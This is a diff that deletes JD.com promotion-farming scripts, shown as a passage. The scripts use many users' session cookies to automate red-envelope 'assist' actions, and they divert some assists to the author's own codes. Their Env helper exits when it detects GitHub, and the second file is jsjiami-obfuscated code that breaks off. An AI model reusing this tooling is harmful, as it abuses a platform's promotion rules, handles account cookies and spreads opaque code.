(!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - return; - } - console.log(`\n发财大赢家助力逻辑:优先助力填写的互助码环境变量,中午10点之后再给我助力\n`) - message = '' - $.linkid = "u_2EYfsxu0skdtZ6gbRjBQ" - //开红包查询 - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.helptype = 1 - $.canDraw = false - $.canWx = true - $.rewardType = 2 - $.hotFlag = false; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.message = `【京东账号${$.index}】${$.UserName}\n` - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - } - if (!dyjCode) { - await open() - if ($.hotFlag) continue; - console.log(`\n环境变量中没有检测到助力码,开始获取【京东账号${$.index}】助力码\n`) - await getid() - } else { - dyjStr = dyjCode.split("@") - if (dyjStr[0]) { - $.rid = dyjStr[0] - $.inviter = dyjStr[1] - $.canRun = true - console.log(`\n检测到您已填助力码${$.rid},开始助力\n`) - await help($.rid, $.inviter, 1) - if (!$.canRun) { - continue; - } - await $.wait(1000) - await help($.rid, $.inviter, 2) - } - } - if (new Date().getHours() >= 10) { - await getAuthorShareCode() - if ($.authorCode && $.authorCode.length) { - console.log(`\n${$.UserName} 去助力【zero205】\n`) - for (let j = 0; j < $.authorCode.length; j++) { - let item = $.authorCode[j]; - await help(item.redEnvelopeId, item.inviter, 1) - await $.wait(1000) - await help(item.redEnvelopeId, item.inviter, 2) - } - - } - } - console.log(`\n******查询【京东账号${$.index}】${$.nickName || $.UserName}红包情况******\n`); - await getinfo() - if ($.canDraw) { - await getrewardIndex() - if ($.canWx) { - await exchange() - } - await $.wait(1000) - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function exchange() { - return new Promise(async (resolve) => { - let options = taskUrl("exchange", `{"linkId":"${$.linkid}", "rewardType":${$.rewardType}}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.success && data.data) { - if (data.data.chatEnvelopeVo.status == 50053 || data.data.chatEnvelopeVo.status == 50059) { - console.log(`【京东账号${$.index}】${data.data.chatEnvelopeVo.message} ,尝试兑换红包...`) - $.rewardType = 1 - await exchange() - } - } else { - console.log(`【京东账号${$.index}】提现成功`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function open() { - return new Promise(async (resolve) => { - let options = taskUrl("openRedEnvelopeInteract", `{"linkId":"${$.linkid}"}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.code === 16020) { - $.hotFlag = true - console.log(data.errMsg); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function getid() { - return new Promise(async (resolve) => { - let options = taskUrl("redEnvelopeInteractHome", `{"linkId":"${$.linkid}","redEnvelopeId":"","inviter":"","helpType":""}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - // console.log(data.data.state) - if (data.data.state !== 0) { - if (data.success && data.data) { - console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的助力码】${data.data.redEnvelopeId}@${data.data.markedPin}`) - } else { - console.log(data) - } - } else { - console.log(`【京东账号${$.index}】为黑号,跳过`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function getinfo() { - return new Promise(async (resolve) => { - let options = taskUrl("redEnvelopeInteractHome", `{"linkId":"${$.linkid}","redEnvelopeId":"","inviter":"","helpType":""}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.data.state !== 0) { - if (data.success && data.data) { - if (data.data.state === 3) { - console.log("今日已成功兑换") - $.canDraw = false - } else if (data.data.state === 6 || data.data.state === 4) { - $.canDraw = true - } else { - console.log(`当前余额:${data.data.amount} 元,还需 ${data.data.needAmount} 元`) - $.canDraw = false - } - } - } else { - $.canDraw = false - console.log(`【京东账号${$.index}】为黑号,跳过`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function getrewardIndex() { - return new Promise(async (resolve) => { - let options = taskUrl("rewardIndex", `{"linkId":"${$.linkid}"}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - console.log(data) - data = JSON.parse(data); - if (data.success && data.data) { - if (data.data.haveHelpNum === 10) { - console.log(`\n【京东账号${$.index}】已满足微信提现要求,开始提现\n`) - $.canWx = true - } - } else { - console.log(`当前已有 ${data.data.haveHelpNum} 人助力,还需 ${data.data.diffNum} 人`) - $.canWx = false - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function help(rid, inviter, type) { - return new Promise(async (resolve) => { - let options = taskUrl("openRedEnvelopeInteract", `{"linkId":"${$.linkid}","redEnvelopeId":"${rid}","inviter":"${inviter}","helpType":"${type}"}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.data && data.data.helpResult) { - console.log(JSON.stringify(data.data.helpResult)) - if (data.data.helpResult.code === 16005 || data.data.helpResult.code === 16007) { - $.needhelp = false - $.canDraw = true - } else if (data.data.helpResult.code === 16011) { - $.needhelp = false - } - } else { - console.log(JSON.stringify(data)) - console.log(`【京东账号${$.UserName}】为黑号,跳过助力`) - $.canRun = false - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function getAuthorShareCode() { - return new Promise(resolve => { - $.get({ - url: "", - headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - $.authorCode = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function taskUrl(function_id, body) { - return { - url: `${JD_API_HOST}/?functionId=${function_id}&body=${encodeURIComponent(body)}&t=${Date.now()}&appid=activities_platform&clientVersion=3.5.2`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://618redpacket.jd.com/?activityId=DA4SkG7NXupA9sksI00L0g&channel=wjicon&sid=0a1ec8fa2455796af69028f8410996aw&un_area=1_2803_2829_0", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdltapp;android;3.5.6;9;8363532363230343238303836333-43D2468336563316936636265356;network/wifi;model/MI 8;addressid/2688971613;aid/059b2009dc5afb88;oaid/665d225a3f96764;osVer/28;appBuild/1656;psn/gB6yf l3bIcXHm 4uTHuFZIigUClYKza5OsTPc6vgTc=|932;psq/11;adk/;ads/;pap/JA2020_3112531|3.5.6|ANDROID 9;osv/9;pv/712.12;jdv/0|direct|-|none|-|1613884468974|1613884552;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 9; MI 8 Build/PKQ1-wesley_iui-19.08.25; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36"), - } - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_fcwb_help.js b/jd_fcwb_help.js deleted file mode 100644 index 100060f1b..000000000 --- a/jd_fcwb_help.js +++ /dev/null @@ -1,17 +0,0 @@ -/* -发财挖宝-助力 -活动入口:极速版-发财挖宝 -默认全部助力CK1到111停止 -变量: -export wbhelpnum=100 助力ck1的数量 -如需助力其他ck变量 -export wbcode='' -export wbinviter='' -定时自己按需设置,默认定时不运行 -10 10 7 8 * https://raw.githubusercontent.com/6dylan6/jdpro/main/jd_fcwb_help.js -updatetime:2022/08/12 -*/ -const $ = new Env('发财挖宝助力-加密'); -;var encode_version = 'jsjiami.com.v5', euduc = '__0xe8400', __0xe8400=['\x77\x72\x6a\x44\x73\x4d\x4b\x52\x57\x31\x34\x3d','\x77\x37\x48\x43\x6f\x6c\x34\x57\x57\x51\x3d\x3d','\x77\x6f\x67\x57\x77\x72\x50\x43\x6a\x63\x4f\x51','\x77\x70\x72\x44\x6e\x4d\x4b\x6c\x59\x31\x77\x3d','\x49\x63\x4f\x44\x4b\x67\x41\x65','\x77\x36\x58\x43\x75\x63\x4f\x55\x77\x70\x54\x44\x71\x77\x3d\x3d','\x66\x4d\x4f\x44\x51\x79\x6f\x69\x77\x70\x63\x3d','\x77\x71\x31\x30\x77\x37\x49\x3d','\x77\x36\x44\x43\x6c\x38\x4f\x67\x77\x72\x48\x44\x72\x57\x6f\x59\x61\x38\x4f\x49\x47\x73\x4f\x4d\x77\x71\x45\x58','\x4e\x73\x4b\x71\x77\x6f\x67\x3d','\x77\x35\x49\x4d\x77\x37\x50\x43\x67\x63\x4b\x47\x66\x43\x44\x43\x72\x73\x4f\x6f\x46\x48\x55\x6c\x45\x77\x3d\x3d','\x77\x71\x6c\x5a\x49\x52\x62\x44\x76\x77\x3d\x3d','\x77\x72\x33\x43\x6d\x73\x4f\x35\x47\x73\x4f\x51','\x64\x7a\x55\x54\x66\x4d\x4f\x4d\x54\x38\x4b\x6f\x56\x4d\x4f\x6e\x77\x37\x41\x3d','\x52\x51\x4d\x69\x53\x73\x4f\x79\x65\x73\x4b\x4f','\x77\x70\x55\x4b\x77\x71\x6e\x43\x70\x73\x4f\x55','\x47\x32\x66\x44\x72\x30\x46\x7a\x77\x36\x76\x44\x6c\x77\x3d\x3d','\x54\x6e\x35\x56\x55\x63\x4b\x54','\x77\x35\x4c\x44\x67\x33\x44\x44\x6b\x4d\x4f\x65','\x77\x34\x33\x44\x67\x77\x2f\x43\x75\x51\x3d\x3d','\x77\x35\x58\x43\x69\x55\x45\x73\x56\x77\x3d\x3d','\x57\x73\x4f\x78\x77\x70\x48\x43\x71\x4d\x4b\x58\x77\x36\x6a\x44\x69\x77\x4e\x62','\x77\x71\x52\x6b\x42\x77\x39\x47','\x77\x35\x6a\x43\x75\x38\x4b\x39\x77\x70\x59\x3d','\x77\x36\x4c\x43\x70\x63\x4b\x6c\x41\x38\x4f\x77','\x77\x71\x41\x43\x77\x6f\x77\x76\x57\x67\x3d\x3d','\x77\x70\x4c\x44\x6d\x4d\x4b\x4c\x77\x35\x37\x44\x6a\x77\x3d\x3d','\x66\x41\x50\x44\x6b\x48\x49\x31','\x57\x63\x4f\x6b\x77\x70\x48\x43\x73\x73\x4b\x63','\x77\x37\x62\x44\x6d\x38\x4f\x31\x77\x6f\x7a\x43\x6b\x67\x3d\x3d','\x57\x42\x37\x44\x6b\x63\x4f\x42\x77\x71\x39\x33\x49\x77\x3d\x3d','\x54\x4d\x4b\x5a\x59\x63\x4f\x6c\x63\x77\x3d\x3d','\x77\x6f\x64\x4d\x77\x35\x30\x43\x77\x72\x38\x3d','\x77\x71\x42\x4e\x77\x34\x6a\x43\x76\x44\x49\x3d','\x77\x72\x74\x32\x77\x36\x45\x3d','\x77\x6f\x70\x52\x4c\x78\x67\x65','\x77\x71\x52\x50\x45\x42\x49\x48','\x44\x6d\x66\x44\x72\x30\x5a\x39\x77\x37\x76\x44\x6b\x77\x3d\x3d','\x65\x4d\x4f\x57\x53\x53\x67\x69','\x77\x72\x56\x4c\x77\x36\x58\x43\x76\x7a\x6b\x3d','\x77\x71\x46\x77\x77\x36\x31\x4a\x77\x36\x38\x3d','\x77\x37\x46\x44\x77\x72\x35\x4f\x57\x38\x4b\x34\x48\x4d\x4b\x58','\x77\x35\x6e\x44\x6f\x73\x4b\x43\x77\x37\x49\x3d','\x77\x71\x55\x76\x77\x72\x6f\x7a','\x77\x6f\x49\x35\x77\x70\x50\x43\x74\x38\x4f\x30\x77\x6f\x46\x32\x59\x67\x3d\x3d','\x45\x58\x6a\x44\x67\x6a\x54\x44\x68\x41\x3d\x3d','\x77\x72\x46\x68\x48\x68\x46\x36','\x77\x35\x6e\x43\x6e\x4d\x4b\x57\x42\x63\x4f\x73','\x77\x35\x78\x66\x77\x72\x5a\x54\x59\x77\x3d\x3d','\x50\x63\x4b\x6c\x77\x70\x50\x43\x68\x77\x3d\x3d','\x77\x36\x2f\x43\x6e\x73\x4f\x7a\x41\x38\x4f\x72','\x77\x70\x48\x44\x6d\x79\x5a\x36\x4d\x55\x2f\x44\x6e\x69\x6f\x3d','\x77\x37\x2f\x43\x6f\x4d\x4f\x61\x77\x70\x62\x44\x73\x45\x34\x6e\x55\x51\x3d\x3d','\x57\x4d\x4f\x49\x77\x36\x70\x35\x77\x36\x55\x3d','\x45\x73\x4b\x58\x77\x71\x33\x43\x6d\x4d\x4b\x54','\x52\x55\x46\x34\x53\x4d\x4b\x79\x77\x35\x37\x43\x67\x51\x3d\x3d','\x77\x35\x54\x44\x6e\x7a\x44\x43\x6f\x6c\x66\x43\x67\x41\x45\x3d','\x77\x6f\x72\x44\x71\x69\x39\x49\x47\x51\x3d\x3d','\x57\x73\x4f\x4d\x77\x36\x78\x70\x77\x36\x38\x45\x54\x67\x3d\x3d','\x77\x71\x4a\x50\x45\x56\x72\x43\x6f\x69\x35\x7a\x77\x6f\x45\x3d','\x53\x73\x4f\x49\x77\x36\x74\x76','\x77\x71\x46\x44\x77\x37\x31\x2f','\x54\x41\x38\x31\x52\x63\x4f\x39\x62\x38\x4b\x43\x64\x41\x3d\x3d','\x77\x34\x7a\x43\x6d\x73\x4f\x64\x49\x63\x4f\x43\x47\x4d\x4b\x47\x77\x72\x67\x3d','\x77\x71\x54\x44\x68\x4d\x4b\x6a\x58\x48\x76\x43\x75\x6b\x37\x44\x68\x77\x3d\x3d','\x77\x71\x70\x44\x4e\x55\x76\x43\x6c\x67\x3d\x3d','\x52\x63\x4f\x78\x49\x73\x4b\x67\x4e\x67\x3d\x3d','\x45\x4d\x4b\x52\x77\x6f\x2f\x43\x6f\x63\x4b\x62','\x77\x35\x6a\x43\x71\x63\x4f\x78\x77\x6f\x6e\x44\x71\x77\x3d\x3d','\x77\x37\x2f\x44\x6b\x4d\x4b\x70\x77\x35\x68\x2b','\x77\x72\x58\x44\x76\x6c\x4e\x50\x41\x57\x51\x3d','\x77\x34\x64\x49\x48\x43\x49\x2f','\x77\x34\x66\x44\x6c\x69\x45\x6f\x53\x67\x3d\x3d','\x77\x6f\x31\x61\x58\x42\x49\x6b\x49\x31\x46\x35\x58\x73\x4f\x50\x77\x71\x48\x43\x74\x67\x3d\x3d','\x56\x6b\x64\x34\x51\x73\x4b\x72\x77\x35\x50\x43\x6b\x4d\x4b\x53\x77\x6f\x45\x76\x4c\x38\x4f\x54\x4a\x33\x51\x64\x47\x63\x4f\x6a\x77\x70\x30\x44','\x77\x35\x58\x44\x73\x63\x4f\x4d','\x57\x4d\x4f\x64\x77\x71\x4c\x44\x6e\x73\x4f\x4c\x77\x35\x49\x3d','\x4a\x63\x4b\x2f\x45\x53\x56\x70\x77\x37\x48\x44\x67\x7a\x4a\x78\x4b\x79\x31\x4a\x77\x34\x6f\x71\x50\x4d\x4b\x37','\x77\x37\x6f\x4c\x77\x70\x50\x43\x6a\x63\x4f\x66\x77\x37\x59\x4a\x77\x70\x55\x53\x77\x34\x62\x43\x67\x77\x31\x48\x54\x4d\x4f\x54\x77\x36\x50\x43\x75\x41\x44\x43\x75\x42\x6e\x43\x72\x4d\x4f\x32\x57\x79\x35\x6e\x77\x71\x62\x43\x71\x78\x64\x70\x58\x4d\x4b\x72','\x77\x72\x39\x53\x41\x46\x6a\x43\x67\x69\x68\x33\x77\x6f\x4c\x43\x75\x77\x3d\x3d','\x66\x73\x4f\x72\x77\x37\x4a\x49\x77\x36\x49\x3d','\x44\x46\x6a\x44\x6b\x47\x39\x63','\x77\x72\x2f\x44\x6a\x46\x7a\x44\x74\x4d\x4b\x68','\x62\x4d\x4f\x72\x77\x71\x58\x43\x6a\x63\x4b\x49','\x4c\x57\x37\x43\x6c\x6a\x6e\x43\x6c\x77\x3d\x3d','\x77\x35\x41\x37\x77\x34\x66\x43\x73\x63\x4b\x7a','\x77\x70\x4e\x7a\x4e\x52\x56\x75\x53\x4d\x4f\x44\x77\x35\x63\x3d','\x77\x70\x70\x58\x77\x36\x64\x54\x77\x34\x38\x3d','\x77\x72\x4e\x4e\x77\x37\x31\x75','\x77\x71\x55\x72\x49\x41\x3d\x3d','\x36\x49\x79\x6d\x35\x59\x32\x42\x35\x61\x61\x42\x36\x4c\x65\x51','\x77\x36\x50\x44\x74\x4d\x4f\x6d','\x77\x72\x66\x44\x74\x73\x4b\x66\x77\x35\x62\x44\x6b\x77\x3d\x3d','\x77\x34\x44\x43\x69\x38\x4f\x79\x77\x70\x58\x44\x6c\x77\x3d\x3d','\x4f\x63\x4b\x63\x77\x72\x50\x43\x6b\x38\x4b\x58','\x77\x35\x33\x44\x67\x31\x62\x44\x73\x4d\x4f\x47\x4e\x51\x3d\x3d','\x77\x72\x50\x43\x75\x4d\x4f\x38','\x77\x36\x4c\x44\x6f\x38\x4f\x43\x77\x70\x7a\x43\x68\x43\x38\x47\x4a\x38\x4b\x73','\x4e\x4d\x4b\x75\x45\x7a\x70\x6c','\x77\x35\x6e\x44\x72\x4d\x4b\x56\x77\x36\x34\x3d','\x77\x72\x4e\x59\x44\x77\x3d\x3d','\x57\x63\x4f\x6a\x66\x53\x4d\x46','\x61\x38\x4f\x2f\x4b\x4d\x4b\x63\x44\x51\x3d\x3d','\x44\x4d\x4b\x5a\x44\x53\x46\x56','\x4e\x46\x54\x44\x74\x30\x31\x48','\x77\x34\x37\x43\x6e\x4d\x4f\x5a','\x58\x63\x4f\x67\x4e\x63\x4b\x42\x4d\x45\x56\x6b\x61\x4d\x4b\x50','\x77\x34\x72\x43\x70\x4d\x4b\x6c\x41\x38\x4f\x50','\x77\x71\x52\x6d\x46\x69\x63\x76\x48\x78\x4c\x44\x69\x54\x50\x44\x71\x78\x44\x43\x71\x32\x44\x44\x6d\x38\x4b\x34\x48\x4d\x4b\x78\x77\x34\x6a\x44\x74\x38\x4b\x6f\x77\x70\x59\x49\x57\x42\x4c\x43\x6b\x77\x3d\x3d','\x77\x36\x78\x55\x77\x71\x6e\x44\x6d\x58\x33\x44\x6c\x53\x62\x43\x68\x38\x4b\x62\x65\x68\x30\x6a\x4a\x4d\x4b\x46\x52\x57\x4e\x4a\x77\x70\x64\x5a\x58\x63\x4b\x42\x61\x4d\x4f\x73\x61\x69\x77\x4e\x66\x38\x4b\x33\x42\x73\x4b\x61\x77\x34\x33\x43\x68\x51\x2f\x43\x6f\x58\x6e\x44\x6b\x4d\x4f\x42\x43\x38\x4f\x33\x48\x68\x50\x43\x69\x79\x77\x4f\x49\x63\x4b\x37\x77\x34\x64\x6d\x77\x6f\x63\x48\x77\x70\x42\x67\x50\x4d\x4f\x77\x4a\x6c\x63\x6b\x77\x72\x6c\x57\x77\x34\x6a\x44\x76\x4d\x4b\x69\x77\x36\x67\x48\x77\x72\x48\x44\x6b\x4d\x4f\x6c\x77\x70\x4c\x44\x69\x4d\x4f\x77\x77\x6f\x55\x78\x77\x34\x62\x43\x74\x73\x4f\x63\x77\x6f\x62\x43\x70\x32\x4d\x6c\x54\x63\x4f\x5a\x77\x72\x33\x44\x69\x38\x4b\x42\x55\x55\x50\x44\x68\x6d\x67\x62\x50\x6c\x62\x44\x70\x79\x4c\x44\x6d\x68\x72\x44\x75\x63\x4b\x54\x77\x35\x63\x54\x53\x4d\x4f\x67\x53\x48\x45\x32\x77\x35\x4c\x43\x74\x43\x6c\x70\x4c\x38\x4b\x70\x54\x48\x72\x43\x6e\x38\x4f\x58\x77\x37\x48\x44\x72\x33\x52\x6f\x77\